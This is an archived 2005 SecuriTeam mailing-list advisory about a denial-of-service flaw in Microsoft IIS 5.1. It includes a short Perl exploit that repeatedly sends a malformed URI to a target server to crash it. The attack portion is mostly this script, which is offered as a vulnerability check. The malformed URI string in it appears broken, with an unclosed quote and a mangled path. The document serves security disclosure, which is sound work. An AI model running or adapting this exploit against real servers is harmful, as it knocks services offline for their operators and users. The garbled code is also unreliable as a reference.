

# [EXPL] Microsoft IIS Malformed URI DoS (Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00091.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 26 Dec 2005 18:38:52 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Microsoft IIS Malformed URI DoS (Exploit)

---

## SUMMARY

<<http://www.microsoft.com/WindowsServer2003/iis/default.mspx>> Microsoft Internet Information Services (IIS) is "a set of Internet-based services for servers using Microsoft Windows".

Microsoft's IIS 5.1, the version that comes with Windows XP, contains a security vulnerability in its handling of incoming requests that allows remote attackers to cause the service to crash by sending it a malformed request. The following exploit code can be used to determine whether you are vulnerable to the malformed URI request affecting the IIS or not.

## DETAILS

Vulnerable Systems:

- \* Microsoft Internet Information Server version 5.1

Immune Systems:

- \* Microsoft Internet Information Server version 5.0
- \* Microsoft Internet Information Server version 6.0

Exploit:

[EXPL] Microsoft IIS Malformed URI DoS (Exploit)

```
#!/usr/bin/perl
#Tested on IIS 5.1 Windos XP 2002

use LWP::UserAgent;

if(!$ARGV[0])
{
print "Hole found by Inge Henrikse\n";
print "Xplo Code by Ph03n1X || student.te.ugm.ac.id/~phoenix03\n";
print "Gunakan : $0 <target>\n\n";
exit;
}
$target=$ARGV[0];
#$proxy='http://222.124.24.23:3128';
$browse = LWP::UserAgent->new;
$browse->timeout(100);
$browse->agent("MSIE/6.0 Windows");
$browse->proxy(http=>$proxy) if defined($proxy);

$xplo="http://$target/ vti bin/.dll/*\~9:
for($i=0;$i<=20;$i++)
{ $req = $browse->get($xplo); }

#No fix will be released by vendor until Win XP SP3
#(maybe in january 2006)
#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:king\_purba@xxxxxxxxxxxx>  
IbliZ PhoeniX.  
The advisory can be found at:  
<<http://www.securiteam.com/windowsntfocus/6E00E2KEUS.html>>  
<http://www.securiteam.com/windowsntfocus/6E00E2KEUS.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

DISCLAIMER:

[EXPL] Microsoft IIS Malformed URI DoS (Exploit)

The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- Prev by Date: [\[UNIX\] QNX DHCP Client Privilege Escalation](#)
- Next by Date: [\[EXPL\] PlanetFileServer DoS \(Exploit\)](#)
- Previous by thread: [\[UNIX\] QNX DHCP Client Privilege Escalation](#)
- Next by thread: [\[EXPL\] PlanetFileServer DoS \(Exploit\)](#)
- Index(es):
  - ◆ [Date](#)
  - ◆ [Thread](#)